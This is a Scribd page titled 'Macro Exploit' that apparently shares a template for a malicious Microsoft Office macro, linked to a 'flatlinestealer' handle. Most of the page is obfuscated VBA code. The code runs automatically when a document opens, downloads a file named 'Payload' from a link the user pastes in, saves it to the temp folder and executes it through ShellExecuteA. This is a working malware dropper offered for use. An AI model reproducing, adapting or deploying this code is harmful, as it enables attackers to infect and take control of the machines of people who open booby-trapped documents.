Scribd
Upload
53 views2 pages

Macro Exploit

The document contains code snippets for creating a macro in Microsoft Word and Excel, including functions to download files and execute them. It defines various private functions and subs, such as 'Document_Open' and 'nWtd', which handle file operations and payload execution. The code appears to be related to potentially malicious activities, as it includes references to downloading and executing payloads from specified links.

Uploaded by

Follow Fqme
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
53 views2 pages

Macro Exploit

The document contains code snippets for creating a macro in Microsoft Word and Excel, including functions to download files and execute them. It defines various private functions and subs, such as 'Document_Open' and 'nWtd', which handle file operations and payload execution. The code appears to be related to potentially malicious activities, as it includes references to downloading and executing payloads from specified links.

Uploaded by

Follow Fqme
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

[Link]

me/flatlinestealer -
[Link] -
Creat A Macro In One Of These Documents -
Microsoft Word Documents And Microsoft Excell -
---------------------------------------------------

Private Declare PtrSafe Function pznHypDNww _

Lib _
"urlmon" _
Alias _
"URLDownloadToFileA" _
(ByVal jVwSfubsfjIw As Long, ByVal uoGDZwUbWil As String, _
ByVal AVWhqlOexRkfTAI As String, _
ByVal JHMxrycpoEILCc As Long, ByVal rkTBDYBFT As Long) _
As Long

Private Declare PtrSafe Function DoIT Lib "[Link]" _


Alias "ShellExecuteA" (ByVal eyMzmMjiKrJvzYzKEWTqMl As Long, ByVal dYlBQm As
String, _
ByVal ZjGBfhNinvlQZZXdA As String, ByVal HOtFFUYcTsHAk As String, ByVal RUpRVk As
String, _
ByVal gPdCCemybuZxPpPbU As Long) As Long

Private Sub Document_Close()

End Sub

Private Sub Document_Open()

VvXCAiWri

End Sub

Sub nWtd()
Dim otqBShpqzXRvxekDL As String, Bhcdbg As String, QXfvVVlce As String
Bhcdbg = "Payload"
QXfvVVlce = Environ$("tmp") & "\" & Bhcdbg

otqBShpqzXRvxekDL = "Paste Your Direct Link Here"

tEJGRjkFGPoU otqBShpqzXRvxekDL, QXfvVVlce


End Sub

Sub VvXCAiWri()
Dim YmxgfSSuCOrKqNgs As Integer
Dim geXqnJ As String
YmxgfSSuCOrKqNgs = 3
geXqnJ = "osumLoSDznHypDNwwjVwSf"
nWtd
End Sub

Sub tEJGRjkFGPoU(ByVal yNuATc, b As String)


pznHypDNww 0, yNuATc, b, 0, 0
DoIT 0, "open", b, "", vbNullString, vbNormalFocus

End Sub

Private Sub Document_XMLAfterInsert(ByVal NewXMLNode As XMLNode, ByVal InUndoRedo


As Boolean)

End Sub

You might also like